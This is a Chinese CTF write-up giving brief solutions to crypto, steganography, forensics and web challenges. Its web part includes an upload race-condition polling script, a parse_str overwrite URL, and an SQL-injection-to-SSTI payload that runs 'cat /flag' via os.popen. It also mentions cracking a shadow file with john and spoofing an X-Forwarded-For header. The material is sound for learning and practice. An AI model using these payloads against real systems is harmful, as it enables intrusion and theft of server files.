y = 17*x-8
flag{szzyfimhyzd}
仿射加密,脚本
a = 'szzyfimhyzd'
a1=[]
for i in a:
a2 = ord(i)-97
a1.append(a2)
print a1
for i in a1:
for j in range(0,26):
c = (17*j-8)%26
if(c==i):
print chr(j+97),
flag{affineshift}
shadow文件用john直接爆破
flag{hellokitty}
RGB画图,py脚本
from PIL import Image
import re # 506*122=61366
x = 150 #x坐标 通过对txt里的行数进行整数分解
y = 900 #坐标 x*y = 行数
im = Image.new("RGB",(x,y))#创建图片
file = open('basic.txt') #打开rbg值文件
#通过一个个rgb点生成图片
for i in range(0,x):
for j in range(0,y):
line = file.readline()#获取一行
rgb = line.split(",")#分离rgb
im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.show()
得到flag图片
flag{RGB_1s_e4sY}
d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e
有不同的进制,直接脚本转换
flag{1e4bf81a6394de5abc005ac6e39a387b}
binwalk看到有zip
foremost分离得到加密zip
密码再图片详情信息里
十六进制转字符串得到解压密码
flag{3XiF_iNf0rM@ti0n}
七张图片再stegsolve查看其他信道得到
MakeMeTall
把白色转为0 黑色转为1
得到七串二进制
横着解不出来 尝试竖着解
脚本
c1 = '11111111010111101111'
c2 = '11111011111110111111'
c3 = '00001100101010110001'
c4 = '01001010010000001101'
c5 = '11010011011101010111'
c6 = '10011011011010110110'
c7 = '00111001101101111101'
flag = ''
for i in range(0,20):
c = c1[i]+c2[i]+c3[i]+c4[i]+c5[i]+c6[i]+c7[i]
flag += chr(int(c,2))
print flag
flag{Png1n7erEs7iof}
搜索flag字符串,在icmp中得到提示flagishere,往下每一个包都有一个flag字符
flag{Icmp_backdoor_can_transfer-some_infomation}
flag{6ad4c5a09043}
sql注入过程,上脚本
flag{sqlm4p_15_p0werful}
zip明文攻击,用winrar压缩logo.png为zip文件,然后用archpr明文攻击
得到解压密码,解压得到docx文件,改后缀zip,得到flag.txt,base64得到
flag{d0cX_1s_ziP_file}
抓包加XFF头,修改admin值为1
flag{4c39e6769fd4251d8b77d00546b76768}
parse_str变量覆盖
http://47.105.148.65:29002/?id=key[99]=QNKCDZO
得到隐藏界面
随便写个文件,上传得到文件地址,访问提示too slow!
想到条件竞争
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
具体可以看下这篇文章
http://wiki.secbug.net/web_race-condtion.html
重新随便写个文件上传,上传时抓包
用burp的intruder开battering ram , payload null , generate 50
再利用脚本getflag
import requests
url = 'http://47.105.148.65:29002/uploads/457b055ce2a489dd334216ed0564f9351506d690/coold.php'
while 1:
r = requests.get(url)
if 'flag' in r.text:
print r.text
开始intruder,py得到flag
flag{fa8d57d013fda75ad1e58e59b94b45c3}
在add界面测试
然后查询
存在ssti
SSTI,又称服务端模板注入攻击。其发生在MVC框架中的view层。
服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题
但是add中限制字符长度,最多提交十个字符,没法正常使用ssti
测试search功能,username中存在sql注入
sdpcc ' union select 1,1,1 -- -
payload
sdpc' union select 1,2," {{''.__class__.__mro__[2].__subclasses__() [59].__init__.func_globals.linecache.os.popen('cat /flag').read()}}" -- -
当函数被禁用时,就要通过一些类中的关系来引用被禁用的函数
一些常见的寻找特殊模块的方式
class:获得当前对象的类
bases:列出其基类
mro :列出解析方法的调用顺序,类似于bases
subclasses():返回子类列表
dict : 列出当前属性/函数的字典 func_globals返回一个包含函数全局变量的字典引用
flag
flag{c15f43da-481e-4131-84b2-e315719b989b}
复现真的太重要了啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊